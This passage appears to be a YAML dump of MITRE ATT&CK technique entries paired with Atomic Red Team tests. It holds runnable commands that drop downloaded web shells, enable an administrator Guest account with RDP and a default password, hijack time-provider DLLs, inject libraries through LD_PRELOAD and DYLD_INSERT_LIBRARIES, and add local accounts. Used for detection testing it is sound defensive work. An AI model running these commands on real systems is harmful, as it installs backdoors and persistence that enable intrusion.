source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx supported_platforms: - windows input_arguments: web_shell_path: description: The path to drop the web shell type: string default: C:\inetpub\wwwroot web_shells: description: Path of Web Shell type: path default: PathToAtomicsFolder\T1505.003\src dependency_executor_name: powershell dependencies: - description: 'Web shell must exist on disk at specified location (#{web_shells}) ' prereq_command: 'if (Test-Path "#{web_shells}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "#{web_shells}" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx" executor: command: 'xcopy /I /Y "#{web_shells}" #{web_shell_path} ' cleanup_command: | del #{web_shell_path}\b.jsp /q >nul 2>&1 del #{web_shell_path}\tests.jsp /q >nul 2>&1 del #{web_shell_path}\cmd.aspx /q >nul 2>&1 name: command_prompt T1078.001: technique: modified: '2024-03-07T14:27:04.770Z' name: 'Valid Accounts: Default Accounts' description: |- Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d created: '2020-03-13T20:15:31.974Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/001 external_id: T1078.001 - source_name: AWS Root User description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html - source_name: Microsoft Local Accounts Feb 2019 description: Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019. url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts - source_name: Metasploit SSH Module description: undefined. (n.d.). Retrieved April 12, 2019. url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh - source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.001 atomic_tests: - name: Enable Guest account with RDP capability and admin privileges auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0 description: | After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections. supported_platforms: - windows input_arguments: guest_user: description: Specify the guest account type: string default: guest guest_password: description: Specify the guest password type: string default: Password123! local_admin_group: description: Specify the admin localgroup name type: string default: Administrators remote_desktop_users_group_name: description: Specify the remote desktop users group name type: string default: Remote Desktop Users remove_rdp_access_during_cleanup: description: Set to 1 if you want the cleanup to remove RDP access to machine type: integer default: 0 executor: command: |- net user #{guest_user} /active:yes net user #{guest_user} #{guest_password} net localgroup #{local_admin_group} #{guest_user} /add net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f cleanup_command: |- net user #{guest_user} /active:no >nul 2>&1 net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1 net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1 if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup) if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1) if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1) name: command_prompt elevation_required: true - name: Activate Guest Account auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default ' supported_platforms: - windows input_arguments: guest_user: description: Specify the guest account type: string default: guest executor: command: 'net user #{guest_user} /active:yes ' cleanup_command: 'net user #{guest_user} /active:no ' name: command_prompt elevation_required: true - name: Enable Guest Account on macOS auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4 description: This test enables the guest account on macOS using sysadminctl utility. supported_platforms: - macos executor: command: sudo sysadminctl -guestAccount on cleanup_command: sudo sysadminctl -guestAccount off name: sh elevation_required: true T1547.003: technique: modified: '2024-04-12T02:34:58.003Z' name: Time Providers description: |- Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider) Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider) Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Scott Lundgren, @5twenty9, Carbon Black - Harun Küßner x_mitre_deprecated: false x_mitre_detection: |- Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017) The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' x_mitre_permissions_required: - SYSTEM - Administrator type: attack-pattern id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc created: '2020-01-24T15:51:52.317Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/003 external_id: T1547.003 - source_name: Github W32Time Oct 2017 description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018. url: https://github.com/scottlundgren/w32time - source_name: Microsoft W32Time May 2017 description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018. url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings - source_name: Microsoft W32Time Feb 2018 description: Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018. url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top - source_name: Microsoft TimeProvider description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.003 atomic_tests: - name: Create a new time provider auto_generated_guid: df1efab7-bc6d-4b88-8be9-91f55ae017aa description: | Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/ supported_platforms: - windows executor: command: | net stop w32time Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f net start w32time cleanup_command: | net stop w32time reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time name: powershell elevation_required: true - name: Edit an existing time provider auto_generated_guid: 29e0afca-8d1d-471a-8d34-25512fc48315 description: | Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/ supported_platforms: - windows executor: command: | net stop w32time Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f net start w32time cleanup_command: | net stop w32time reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Windows\SYSTEM32\w32time.DLL" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "0" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "0" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time name: powershell elevation_required: true T1546.005: technique: x_mitre_platforms: - macOS - Linux x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--63220765-d418-44de-8fae-694b3912317d type: attack-pattern created: '2020-01-24T14:17:43.906Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.005 url: https://attack.mitre.org/techniques/T1546/005 - source_name: Trap Manual url: https://ss64.com/bash/trap.html description: ss64. (n.d.). trap. Retrieved May 21, 2019. - source_name: Cyberciti Trap Statements url: https://bash.cyberciti.biz/guide/Trap_statement description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019. modified: '2021-04-29T14:49:39.188Z' name: 'Event Triggered Execution: Trap' description: |- Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.005 atomic_tests: - name: Trap EXIT auto_generated_guid: a74b2e07-5952-4c03-8b56-56274b076b61 description: | Launch bash shell with command arg to create TRAP on EXIT. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - macos - linux executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh - name: Trap EXIT (freebsd) auto_generated_guid: be1a5d70-6865-44aa-ab50-42244c9fd16f description: | Launch bash shell with command arg to create TRAP on EXIT. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if bash is installed. ' prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y bash)\n" executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh - name: Trap SIGINT auto_generated_guid: a547d1ba-1d7a-4cc5-a9cb-8d65e8809636 description: | Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - macos - linux executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh - name: Trap SIGINT (freebsd) auto_generated_guid: ade10242-1eac-43df-8412-be0d4c704ada description: | Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal. The trap executes script that writes to /tmp/art-fish.txt supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if bash is installed. ' prereq_command: 'if [ ! -x "$(command -v bash)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y bash)\n" executor: command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'' ' cleanup_command: 'rm -f /tmp/art-fish.txt ' name: sh T1574.006: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: LD_PRELOAD' description: "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS x_mitre_version: '2.0' x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'Module: Module Load' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825 created: '2020-03-13T20:09:59.569Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/006 external_id: T1574.006 - source_name: Man LD.SO description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020. url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html - source_name: TLDP Shared Libraries description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020. url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html - source_name: Apple Doco Archive Dynamic Libraries description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html - source_name: Baeldung LD_PRELOAD description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021. url: https://www.baeldung.com/linux/ld_preload-trick-what-is - source_name: Code Injection on Linux and macOS description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.' url: https://www.datawire.io/code-injection-on-linux-and-macos/ - source_name: Uninformed Needle description: skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. url: http://hick.org/code/skape/papers/needle.txt - source_name: Phrack halfdead 1997 description: halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. url: http://phrack.org/issues/51/8.html - source_name: Brown Exploiting Linkers description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.' url: http://www.nth-dimension.org.uk/pub/BTL.pdf - source_name: TheEvilBit DYLD_INSERT_LIBRARIES description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020. url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/ - source_name: Timac DYLD_INSERT_LIBRARIES description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020. url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/ - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass description: Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021. url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' identifier: T1574.006 atomic_tests: - name: Shared Library Injection via /etc/ld.so.preload auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991 description: "This test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. \n" supported_platforms: - linux input_arguments: path_to_shared_library_source: description: Path to a shared library source code type: path default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c path_to_shared_library: description: Path to a shared library object type: path default: "/tmp/T1574006.so" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} ' executor: command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload'' ' cleanup_command: 'sudo sed -i ''s##{path_to_shared_library}##'' /etc/ld.so.preload ' name: bash elevation_required: true - name: Shared Library Injection via LD_PRELOAD auto_generated_guid: bc219ff7-789f-4d51-9142-ecae3397deae description: | This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package. Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout. supported_platforms: - linux input_arguments: path_to_shared_library_source: description: Path to a shared library source code type: path default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c path_to_shared_library: description: Path to a shared library object type: path default: "/tmp/T1574006.so" dependency_executor_name: bash dependencies: - description: 'The shared library must exist on disk at specified location (#{path_to_shared_library}) ' prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source} ' executor: command: 'LD_PRELOAD=#{path_to_shared_library} ls ' name: bash - name: Dylib Injection via DYLD_INSERT_LIBRARIES auto_generated_guid: 4d66029d-7355-43fd-93a4-b63ba92ea1be description: 'injects a dylib that opens calculator via env variable ' supported_platforms: - macos input_arguments: file_to_inject: description: Path of executable to be injected. Mostly works on non-apple default apps. type: path default: "/Applications/Firefox.app/Contents/MacOS/firefox" source_file: description: Path of c source file type: path default: PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c dylib_file: description: Path of dylib file type: path default: "/tmp/T1574006MOS.dylib" dependency_executor_name: bash dependencies: - description: 'Compile the dylib from (#{source_file}). Destination is #{dylib_file} ' prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file} ' get_prereq_command: 'gcc -dynamiclib #{source_file} -o #{dylib_file} ' executor: command: 'DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject} ' cleanup_command: | kill `pgrep Calculator` kill `pgrep firefox` name: bash elevation_required: false T1136.001: technique: modified: '2023-10-16T17:40:37.995Z' name: 'Create Account: Local Account' description: "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: 'Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'User Account: User Account Creation' - 'Process: Process Creation' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--635cbe30-392d-4e27-978e-66774357c762 created: '2020-01-28T13:50:22.506Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1136/001 external_id: T1136.001 - source_name: cisco_username_cmd description: 'Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.' url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630 - source_name: Kubernetes Service Accounts Security description: Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023. url: https://kubernetes.io/docs/concepts/security/service-accounts/ - source_name: Microsoft User Creation Event description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.' url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1136.001 atomic_tests: - name: Create a user account on a Linux system auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2 description: 'Create a user via useradd ' supported_platforms: - linux input_arguments: username: description: Username of the user to create type: string default: evil_user executor: command: 'useradd -M -N -r -s /bin/bash -c evil_account #{username} ' cleanup_command: 'userdel #{username} ' name: bash elevation_required: true - name: Create a user account on a FreeBSD system auto_generated_guid: a39ee1bc-b8c1-4331-8e5f-1859eb408518 description: 'Create a user via pw ' supported_platforms: - linux input_arguments: username: description: Username of the user to create type: string default: evil_user executor: command: 'pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account ' cleanup_command: 'rmuser -y #{username} ' name: sh elevation_required: true - name: Create a user account on a MacOS system auto_generated_guid: '01993ba5-1da3-4e15-a719-b690d4f0f0b2' description: 'Creates a user on a MacOS system with dscl ' supported_platforms: - macos input_arguments: username: description: Username of the user to create type: string default: evil_user realname: description: "'realname' to record when creating the user" type: string default: Evil Account executor: command: | dscl . -create /Users/#{username} dscl . -create /Users/#{username} UserShell /bin/zsh dscl . -create /Users/#{username} RealName "#{realname}" dscl . -create /Users/#{username} UniqueID "1010" dscl . -create /Users/#{username} PrimaryGroupID 80 dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} cleanup_command: 'dscl . -delete /Users/#{username} ' name: bash elevation_required: true - name: Create a new user in a command prompt auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f description: | Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD" supported_platforms: - windows input_arguments: username: description: Username of the user to create type: string default: T1136.001_CMD password: description: Password of the user to create type: string 